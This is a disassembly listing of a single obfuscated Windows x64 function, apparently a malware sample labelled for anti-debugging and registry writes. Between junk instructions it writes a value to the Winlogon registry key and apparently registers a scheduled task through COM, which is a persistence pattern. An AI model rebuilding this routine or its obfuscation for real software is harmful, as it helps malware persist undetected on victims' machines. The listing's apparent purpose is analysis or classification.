Function at 0x14000aa51
Capabilities:
Execute anti-debugging instructions
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
rcr ah, cl
xadd eax, eax
mov qword [rsp + 0x20], rsi
bt ax, 0x89
push rbp
push rdi
cmc
and ah, 0xfe
push r12
movsx si, r14b
sub bpl, dil
push r14
sal rdi, 0x19
push r15
bts ax, si
lea rbp, [rsp - 0xd0]
rcr dil, cl
movsx eax, r15w
sub rsp, 0x1d0
shl sil, 0x49
sar di, cl
mov rax, qword [0x140008040]
sar sil, cl
inc si
and si, 0x7355
xor rax, rsp
cmc
mov qword [rbp + 0xc0], rax
mov rdi, rdx
setl sil
btc si, sp
mov rsi, rcx
sub r12d, r12d
test r9, 0x14ff599b
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], r12
jmp 0x14000aae7
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x80], r12
cmc
mov qword [rbp + 0x90], r12
cmp r14b, 0xd0
mov qword [rbp + 0x98], r12
cmc
stc
test r15b, r8b
mov qword [rbp + 0xa0], r12
clc
cmc
stc
mov qword [rbp + 0xb0], r12
test bx, si
sub edx, edx
xor ecx, ecx
jmp 0x14000ab32
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jmp 0x14000ab3f
js 0x14000b442
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x40], rax
and rdx, 0x66604497
lea rax, [rbp + 0xa8]
bt cx, r12w
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
and ecx, 0x41223b11
shl rcx, cl
mov dword [rsp + 0x28], 2
and ch, 0xb0
mov dword [rsp + 0x20], r12d
bt rcx, 0x77
shl ch, cl
bts ecx, edi
sub r9d, r9d
and cl, r9b
btc rdx, r10
xor r8d, r8d
movsx rdx, si
movsxd rcx, edx
movzx rcx, r14w
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
bswap cx
movzx rcx, cx
mov rcx, 0xffffffff80000002
jmp 0x14000abc3
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jmp 0x14000abd0
jne 0x14000ac4e
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14000abe7
mov rcx, qword [rdi]
mov eax, dword [rdi + 0x10]
xadd dl, dl
sal dh, 0xbf
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
add r9, rbx
sub dl, sil
ror r9b, cl
mov qword [rsp + 0x20], rcx
mov r9d, 1
shr dh, cl
bsf dx, r13w
ror edx, cl
xor r8d, r8d
lea rdx, str.Nvidia
mov cx, 0x5eb7
movsx rcx, si
mov rcx, qword [rbp + 0xa8]
jmp 0x14000ac36
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0xa8]
jmp 0x14000ac48
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x60]
rcl cx, 0xb6
ror r9b, 0x40
mov qword [rsp + 0x20], rax
bts ecx, r15d
sub cl, spl
lea r9, [0x1400053c8]
movsx cx, r12b
btc ecx, 0xc
not r8b
sub edx, edx
mov r8d, 1
not cx
movzx rcx, r9w
cmovo rcx, r8
lea rcx, [0x1400053d8]
jmp 0x14000ac98
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jmp 0x14000aca5
js 0x14000b43c
lea rcx, [rbp - 0x58]
jmp 0x14000acb4
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
xchg cl, cl
jmp 0x14000acc2
movups xmm0, xmmword [rbp - 0x58]
jmp 0x14000acd1
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rbp - 0x48]
movzx rcx, r9w
movsx rcx, r9w
bswap rcx
movsd qword [rsp + 0x58], xmm0
cmovbe rcx, r9
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x70]
cmovl cx, ax
setg ch
movups xmmword [rbp - 0x40], xmm0
movzx rcx, r8w
movsx ecx, r13w
movsd xmm0, qword [rbp - 0x60]
movsd qword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x20]
jmp 0x14000ad26
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movsxd rcx, ecx
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rbp + 0x30]
xchg ch, ch
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp]
jmp 0x14000ad4e
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
jmp 0x14000ad5a
movups xmm0, xmmword [rsp + 0x70]
jmp 0x14000ad64
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rsp + 0x58]
jmp 0x14000ad74
movsd qword [rbp - 0x80], xmm0
jmp 0x14000ad7e
movups xmm0, xmmword [rbp - 0x40]
jmp 0x14000ad87
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [rsp + 0x60]
jmp 0x14000ad96
movsd qword [rbp - 0x30], xmm0
movups xmm0, xmmword [rbp - 0x20]
jmp 0x14000ada4
movaps xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rsp + 0x50]
jmp 0x14000adb3
movsd qword [rbp - 0x10], xmm0
jmp 0x14000adbd
movups xmm0, xmmword [rbp]
jmp 0x14000adc6
movaps xmmword [rbp + 0x40], xmm0
movsd xmm1, qword [rbp + 0x10]
xchg r9d, ecx
movsx r8w, bpl
movsxd rax, r11d
movsd qword [rbp + 0x50], xmm1
mov al, 0x8d
movzx r8, r11w
mov cl, r14b
mov rcx, qword [rbp + 0x60]
rdtsc
movzx rdx, r9w
mov rax, qword [rcx]
movsxd rdx, r12d
cqo
lea rdx, [rsp + 0x70]
movsx r9d, si
xchg r9d, r9d
not r9b
mov qword [rsp + 0x20], rdx
mov dl, 0xe7
cwd
mov dl, r13b
lea r9, [rbp - 0x40]
movzx r8, cx
lea r8, [rbp - 0x20]
movzx rdx, dx
bswap edx
lea rdx, [rbp + 0x40]
jmp 0x14000ae30
call qword [rax + 0x50]
mov ebx, eax
movsxd rcx, r14d
setne cl
lea rcx, [rbp]
jmp 0x14000ae44
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
movzx cx, bpl
movsx ecx, cx
cmovle rcx, r9
lea rcx, [rbp + 0x20]
jmp 0x14000ae60
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
jmp 0x14000ae6c
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
movsx cx, r15b
movsxd rcx, r8d
movzx ecx, r15w
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x14000b428
mov ecx, 0x18
call fcn.140002e48
mov rbx, rax
cmp bpl, bl
stc
mov qword [rsp + 0x50], rax
cmp spl, r12b
clc
test al, bpl
test rax, rax
je 0x14000af0b
xorps xmm0, xmm0
sub eax, eax
movups xmmword [rbx], xmm0
mov cl, dl
cmovno cx, r13w
not cl
mov qword [rbx + 0x10], rax
mov cl, r12b
mov qword [rbx + 8], r12
jmp 0x14000aede
mov dword [rbx + 0x10], 1
movsxd rcx, edi
lea rcx, [0x140005540]
jmp 0x14000aef4
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x14000ba49
jmp 0x14000af13
mov rbx, r12
jmp 0x14000af13
mov qword [rsp + 0x50], rbx
test rbx, rbx
jmp 0x14000af20
je 0x14000bab5
mov rcx, qword [rbp + 0x60]
mov ah, 0xae
mov rax, qword [rcx]
movzx r8, r12w
jmp 0x14000af39
lea r8, [rbp + 0x70]
mov rdx, qword [rbx]
jmp 0x14000af45
call qword [rax + 0x38]
mov r15d, eax
mov r14d, 0xffffffff
movsx cx, sil
stc
add ch, 0xb2
mov ecx, r14d
cmp bx, 0x203c
lock xadd dword [rbx + 0x10], ecx
test eax, 0x11f508d
test ah, bh
cmp ecx, 1
jne 0x14000afd1
mov rcx, qword [rbx]
test r14b, 0xb3
test rcx, rcx
je 0x14000af94
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
bts cx, si
mov rcx, qword [rbx + 8]
clc
stc
test r14w, 0x3074
test rcx, rcx
jmp 0x14000afa8
je 0x14000afbc
call fcn.140002e40
mov qword [rbx + 8], r12
jmp 0x14000afbc
mov edx, 0x18
movsxd rcx, r14d
mov rcx, rbx
jmp 0x14000afcc
call fcn.140002e40
test r15d, r15d
jmp 0x14000afd9
js 0x14000b428
mov r15, rsi
stc
cmp qword [rsi + 0x18], 7
jmp 0x14000afed
jbe 0x14000affa
mov r15, qword [rsi]
movzx rcx, sp
mov ecx, 0x18
jmp 0x14000b004
call fcn.140002e48
mov rbx, rax
clc
mov qword [rsp + 0x50], rax
test rax, rax
jmp 0x14000b01a
je 0x14000b07c
xorps xmm0, xmm0
sub eax, eax
movups xmmword [rbx], xmm0
mov cl, 0x90
movsx cx, r15b
cmovno cx, r15w
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
mov cx, 0x5e38
mov cx, dx
movzx cx, r12b
mov rcx, r15
jmp 0x14000b057
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jmp 0x14000b068
jne 0x14000b085
test r15, r15
jne 0x14000ba60
jmp 0x14000b085
mov rbx, r12
cmp r13w, 0x3464
mov qword [rsp + 0x50], rbx
test cl, r10b
test rbx, rbx
jmp 0x14000b095
je 0x14000bab5
mov rcx, qword [rbp + 0x70]
test r10b, r13b
rcr dx, 0xe4
jmp 0x14000b0ab
mov rax, qword [rcx]
rol dx, 0x94
xor r8d, r8d
movzx dx, dil
setae dh
mov dl, sil
mov rdx, qword [rbx]
jmp 0x14000b0c8
call qword [rax + 0x78]
nop
mov eax, r14d
cmp r12b, 0xc5
cmp r9b, dil
lock xadd dword [rbx + 0x10], eax
clc
cmp eax, 1
jne 0x14000b145
mov rcx, qword [rbx]
cmp r10b, r14b
test rcx, rcx
jmp 0x14000b0f3
je 0x14000b10c
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
add cx, 0xdcc
inc cl
movsxd rcx, r12d
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000b12c
call fcn.140002e40
mov qword [rbx + 8], r12
movzx dx, r10b
cmovb dx, r14w
mov edx, 0x18
movsx rcx, ax
movzx ecx, si
mov rcx, rbx
jmp 0x14000b140
call fcn.140002e40
mov rcx, qword [rbp + 0x60]
dec al
ror ax, cl
cmc
mov rax, qword [rcx]
lea r8, [rbp + 0x68]
cmp esp, edx
clc
sub edx, edx
jmp 0x14000b160
call qword [rax + 0x48]
test eax, eax
jmp 0x14000b16a
js 0x14000b412
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
movsx edx, r13w
movsx dx, ch
cdq
lea rdx, [rbp + 0x78]
jmp 0x14000b189
call qword [rax + 0x78]
test eax, eax
js 0x14000b403
mov ecx, 0x18
jmp 0x14000b19e
call fcn.140002e48
mov rbx, rax
test si, 0x5ee
cmp r9w, 0x35ab
mov qword [rsp + 0x50], rax
cmp r11b, dil
test dl, r14b
test rax, rax
jmp 0x14000b1c4
je 0x14000b21a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov rcx, r9
mov qword [rbx + 0x10], rax
xchg ecx, ecx
mov qword [rbx + 8], r12
movsxd rcx, r15d
jmp 0x14000b1e7
mov dword [rbx + 0x10], 1
lea rcx, str.Principal1
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
cmp dil, r14b
cmp r11w, 0x650a
test rax, rax
jmp 0x14000b20f
je 0x14000ba70
jmp 0x14000b21e
mov rbx, r12
clc
mov qword [rsp + 0x50], rbx
cmp r10b, 0x71
test rbx, rbx
jmp 0x14000b22f
je 0x14000bab5
mov rcx, qword [rbp + 0x78]
setp dh
cdqe
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x40]
mov r15d, eax
btr ecx, 0x31
ror ch, 0xf8
mov ecx, r14d
clc
jmp 0x14000b25d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jmp 0x14000b26a
jne 0x14000b2dc
mov rcx, qword [rbx]
jmp 0x14000b27f
test rcx, rcx
jmp 0x14000b287
je 0x14000b29f
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
adc cl, 0x71
test r15b, spl
and cl, dil
mov rcx, qword [rbx + 8]
clc
test spl, cl
test rcx, rcx
jmp 0x14000b2af
je 0x14000b2c8
call fcn.140002e40
mov qword [rbx + 8], r12
movzx rdx, r11w
movsx ecx, sp
movsxd rcx, r11d
mov edx, 0x18
mov cx, r11w
not rcx
mov rcx, rbx
call fcn.140002e40
mov rcx, qword [rbp + 0x78]
stc
btc eax, 0x2f
nop
mov rax, qword [rcx]
test r15d, r15d
jmp 0x14000b2f1
js 0x14000b400
mov edx, 3
call qword [rax + 0x70]
mov rcx, qword [rbp + 0x78]
test eax, eax
movzx ax, sil
movzx rax, r15w
mov rax, qword [rcx]
jmp 0x14000b316
js 0x14000b400
mov edx, 1
jmp 0x14000b326
call qword [rax + 0x90]
mov rcx, qword [rbp + 0x78]
test eax, eax
mov rax, qword [rcx]
jmp 0x14000b33a
js 0x14000b400
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
movzx eax, bx
mov rax, qword [rcx]
cqo
not dh
lea rdx, [rbp + 0x88]
call qword [rax + 0x48]
test eax, eax
jmp 0x14000b362
js 0x14000b403
mov rcx, qword [rbp + 0x88]
movsx rdx, r15w
mov rax, qword [rcx]
xchg r8b, r8b
lea r8, [rbp + 0x80]
mov dh, 0x53
mov edx, 9
jmp 0x14000b38d
call qword [rax + 0x50]
mov ebx, eax
jmp 0x14000b39b
mov rcx, qword [rbp + 0x88]
cwd
cdq
jmp 0x14000b3aa
mov rdx, qword [rcx]
jmp 0x14000b3b2
call qword [rdx + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
test r13w, r15w
jmp 0x14000b3c5
test ebx, ebx
jmp 0x14000b3cc
js 0x14000b40f
lea rdx, [rbp + 0x90]
jmp 0x14000b3de
call qword [rax + 0x88]
test eax, eax
jmp 0x14000b3eb
jns 0x14000b4ab
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
jmp 0x14000b400
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
jmp 0x14000b40f
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x70]
setnp al
movzx rax, r11w
mov rax, qword [rcx]
jmp 0x14000b425
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x60]
not al
movsxd rax, eax
mov rax, qword [rcx]
jmp 0x14000b439
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
sub al, al
rcr cl, cl
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
jmp 0x14000b455
call fcn.140002e20
lea r11, [rsp + 0x1d0]
jmp 0x14000b470
mov rbx, qword [r11 + 0x40]
mov di, 0x78d9
mov r12b, r9b
mov rsi, qword [r11 + 0x48]
mov r15b, 0x98
movsx ebp, r9w
mov rsp, r11
cmovb r14w, r9w
not r12
pop r15
movzx r12, r13w
not bpl
pop r14
jmp 0x14000b4a1
pop r12
pop rdi
pop rbp
jmp 0x14000b4aa
ret
mov rcx, qword [rbp + 0x90]
mov al, 0xbb
mov rax, qword [rcx]
and r8b, r10b
inc r8b
xadd r8b, r8b
lea r8, [rbp + 0x98]
sub edx, edx
jmp 0x14000b4cf
call qword [rax + 0x60]
mov ebx, eax
xchg dl, ch
not ch
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jmp 0x14000b4ec
js 0x14000b3f1
mov rcx, qword [rbp + 0x98]
rdtsc
cdqe
mov rax, qword [rcx]
mov dx, si
not dh
lea r8, [rbp + 0xa0]
mov dx, si
lea rdx, str.MbLk
jmp 0x14000b51b
call qword [rax]
mov ebx, eax
cwd
cqo
movzx rcx, bp
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rcx]
jmp 0x14000b536
call qword [rdx + 0x10]
test ebx, ebx
jmp 0x14000b540
js 0x14000b3f1
cmp qword [rdi + 0x18], 7
jbe 0x14000b554
mov rdi, qword [rdi]
mov ecx, 0x18
call fcn.140002e48
mov rbx, rax
cmp dh, 0x7c
cmc
clc
mov qword [rsp + 0x50], rax
test rax, rax
jmp 0x14000b573
je 0x14000b5d3
xorps xmm0, xmm0
sub eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
movsxd rcx, r10d
movsx ecx, bx
mov qword [rbx + 8], r12
mov ch, 0xf0
mov dword [rbx + 0x10], 1
movsx cx, dil
movsxd rcx, r15d
mov rcx, rdi
jmp 0x14000b5a9
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jmp 0x14000b5ba
jne 0x14000b5d6
test rdi, rdi
jmp 0x14000b5c8
jne 0x14000ba80
jmp 0x14000b5d6
mov rbx, r12
mov qword [rsp + 0x50], rbx
cmp r8d, r13d
test rbx, rbx
je 0x14000bab5
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rcx]
not dl
movsxd rdx, r14d
movzx dx, r12b
mov rdx, qword [rbx]
jmp 0x14000b603
call qword [rax + 0x58]
mov edi, eax
neg cl
rcl ecx, cl
mov ecx, r14d
test r15b, 0xdf
cmp r13b, 0xec
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jmp 0x14000b624
jne 0x14000b686
mov rcx, qword [rbx]
clc
test rcx, rcx
jmp 0x14000b636
je 0x14000b648
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
setl ch
mov rcx, qword [rbx + 8]
clc
stc
cmp dx, 0x3f2b
test rcx, rcx
jmp 0x14000b65b
je 0x14000b671
call fcn.140002e40
mov qword [rbx + 8], r12
bswap cx
movzx dx, ch
mov edx, 0x18
xchg rcx, rcx
mov rcx, rbx
jmp 0x14000b681
call fcn.140002e40
mov rcx, qword [rbp + 0xa0]
jmp 0x14000b695
mov rax, qword [rcx]
jmp 0x14000b69d
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
jmp 0x14000b6af
call qword [rax + 0x10]
test edi, edi
jmp 0x14000b6b9
js 0x14000b403
mov eax, 8
jmp 0x14000b6cb
mov word [rsp + 0x70], ax
lea rcx, [0x140005560]
jmp 0x14000b6dc
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x78], rax
stc
jmp 0x14000b6ed
test rax, rax
jmp 0x14000b6f5
je 0x14000baca
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rbp - 0x80]
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b719
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movzx cx, dil
movsx ecx, r9w
movups xmm0, xmmword [rbp - 0x70]
movzx cx, r9b
cmovb ecx, r9d
movups xmmword [rbp - 0x40], xmm0
movsxd rcx, ebp
mov ecx, r12d
jmp 0x14000b749
movsd xmm0, qword [rbp - 0x60]
movsd qword [rsp + 0x60], xmm0
movsxd rcx, r14d
lea rcx, [rbp - 0x58]
jmp 0x14000b760
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
jmp 0x14000b76c
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x50]
jmp 0x14000b77f
movsd qword [rbp + 0x50], xmm0
movups xmm0, xmmword [rbp - 0x40]
jmp 0x14000b78d
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [rsp + 0x60]
jmp 0x14000b79c
movsd qword [rbp + 0x30], xmm0
jmp 0x14000b7a6
movups xmm0, xmmword [rbp - 0x58]
jmp 0x14000b7af
movaps xmmword [rbp], xmm0
movsd xmm1, qword [rbp - 0x48]
movsd qword [rbp + 0x10], xmm1
cmc
stc
cmp qword [rsi + 0x18], 7
jbe 0x14000b7d0
mov rsi, qword [rsi]
movsx ecx, ax
mov ecx, 0x18
call fcn.140002e48
mov rbx, rax
stc
mov qword [rsp + 0x50], rax
test rax, rax
jmp 0x14000b7eb
je 0x14000b84f
xorps xmm0, xmm0
xor eax, eax
movzx cx, spl
setae ch
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov ch, al
jmp 0x14000b80f
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
movsx cx, cl
movzx rcx, r11w
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jmp 0x14000b836
jne 0x14000b852
test rsi, rsi
jmp 0x14000b844
jne 0x14000ba9a
jmp 0x14000b852
mov rbx, r12
mov qword [rsp + 0x50], rbx
cmp bpl, 0x9b
test rbx, rbx
jmp 0x14000b863
je 0x14000ba39
mov rcx, qword [rbp + 0x70]
cwd
jmp 0x14000b877
mov rax, qword [rcx]
lea rdx, [rbp + 0xb0]
xchg r9b, r8b
movzx r8w, sil
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x40]
cmovns r8w, di
mov qword [rsp + 0x38], rdx
mov edx, 0x33f9321d
mov dword [rsp + 0x30], 3
cwd
setle r9b
movsx r9, r15w
lea rdx, [rbp + 0x20]
movsxd r8, esp
bswap r8w
mov qword [rsp + 0x28], rdx
setbe r8b
movsx r8w, spl
lea rdx, [rbp]
mov r9w, 0x42bc
setns r9b
bswap r8w
mov qword [rsp + 0x20], rdx
cqo
movsx r9, r12w
movzx dx, bh
mov r9d, 6
not r8d
xchg r8d, edx
mov r8, qword [rbp + 0x68]
movzx rdx, r14w
mov rdx, qword [rbx]
jmp 0x14000b908
call qword [rax + 0x88]
mov edi, eax
stc
test r15, 0x78273d1b
clc
lock xadd dword [rbx + 0x10], r14d
test r15w, sp
cmp dil, al
cmp r14d, 1
jne 0x14000b99e
mov rcx, qword [rbx]
jmp 0x14000b93c
test rcx, rcx
je 0x14000b957
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
shld cx, di, 0xbe
movzx rcx, di
mov rcx, qword [rbx + 8]
cmc
clc
cmp cl, sil
test rcx, rcx
jmp 0x14000b968
je 0x14000b97b
call fcn.140002e40
mov qword [rbx + 8], r12
movzx rcx, sp
mov edx, 0x18
movsxd rcx, ecx
mov rcx, rbx
jmp 0x14000b98b
call fcn.140002e40
nop
mov ecx, 0x622c1e57
cmovb cx, r10w
mov rcx, rbx
lea rcx, [rbp - 0x58]
jmp 0x14000b9a7
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x70]
jmp 0x14000b9b7
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
movsxd rcx, r8d
setl cl
lea rcx, [rsp + 0x70]
jmp 0x14000b9ce
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test edi, edi
jmp 0x14000b9db
js 0x14000b403
mov rcx, qword [rbp + 0xb0]
cdqe
mov rax, qword [rcx]
jmp 0x14000b9f2
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
cwde
mov rax, qword [rcx]
jmp 0x14000ba02
mov ecx, 0x8007000e
jmp 0x14000ba43
call fcn.140002c80
nop
mov ecx, 0x8007000e
jmp 0x14000ba53
call fcn.140002c80
nop
mov cx, 0x3471
bswap cx
mov ecx, 0x8007000e
jmp 0x14000ba6a
call fcn.140002c80
nop
mov ecx, 0x8007000e
jmp 0x14000ba7a
call fcn.140002c80
nop
mov ecx, 0x8007000e
jmp 0x14000ba8a
call fcn.140002c80
nop
movzx cx, bpl
mov ecx, 0x54fb17da
mov ecx, 0x8007000e
jmp 0x14000baa4
call fcn.140002c80
nop
bswap rcx
movsx ecx, r9w
movsx rcx, r14w
mov ecx, 0x8007000e
jmp 0x14000babf
call fcn.140002c80
int3
mov ecx, 0x8007000e
call fcn.140002c80
int3